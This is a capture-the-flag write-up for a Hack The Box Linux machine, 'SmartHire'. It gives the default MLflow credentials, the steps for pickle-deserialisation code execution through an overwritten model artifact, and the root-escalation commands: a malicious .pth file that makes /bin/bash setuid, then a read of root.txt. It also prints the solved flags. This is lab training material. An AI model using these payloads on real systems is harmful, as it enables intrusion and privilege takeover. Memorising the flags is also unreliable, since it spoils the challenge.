SmartHire (HTB Medium Linux)
Author: 0xIDA
Solvers
Summary
Flask hiring/ML app registers sklearn models to MLflow (models.smarthire.htb, Basic admin:password). Overwrite python_model.pkl artifact after training (pickle RCE) → code exec as svcweb. Sudo runs mlflowctl.py, which site.addsitedirs group-writable plugins/dev → malicious .pth executes as root.
Flags (live-verified)
User: 040133f454c6eb5bc3021b9b02f4afcc
Root: f0df08934c5419f721f96380a0cd7dfe
MCP: user + root submit success.
Solution
1) Recon
22/tcp OpenSSH
80/tcp nginx → smarthire.htb (Flask)
vhost models.smarthire.htb → MLflow 2.14.1 Basic realm=mlflow
Default creds: admin:password.
2) App + train
Register/login → /upload_hiring_data trains model registered as {company}-{user_id}-model.
3) Pickle RCE
- Train model (creates MLflow run + registered version).
- As MLflow admin, overwrite artifact:
with malicious pickle (POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid=<run>&path=model/python_model.pklexecreduce). - Call
/predict→ unpickle → RCE assvcweb.
Exfil via writing static/pwn_out.txt (served by Flask). Plant SSH key → ssh svcweb@target.
User: 040133f454c6eb5bc3021b9b02f4afcc
4) Root
sudo -l
# (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
mlflowctl.py adds every plugins/* dir via site.addsitedir. plugins/dev is 0775 root:devs (svcweb ∈ devs).
echo 'import os; os.system("chmod 4755 /bin/bash")' > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
bash -p -c 'cat /root/root.txt'
# f0df08934c5419f721f96380a0cd7dfe
Tools
nmap, curl, ffuf, python3 (pickle, requests), ssh.
Pitfalls
- App may cache models; retrain then immediately overwrite the new run’s
python_model.pklbefore predict. - Pickle
execreturnsNone→ app errorNoneType has no attribute load_contextis expected success signal. - Outbound reverse shells may fail; write to
static/under app cwd instead. - Python
.pthlines starting withimportexecute onaddsitedir.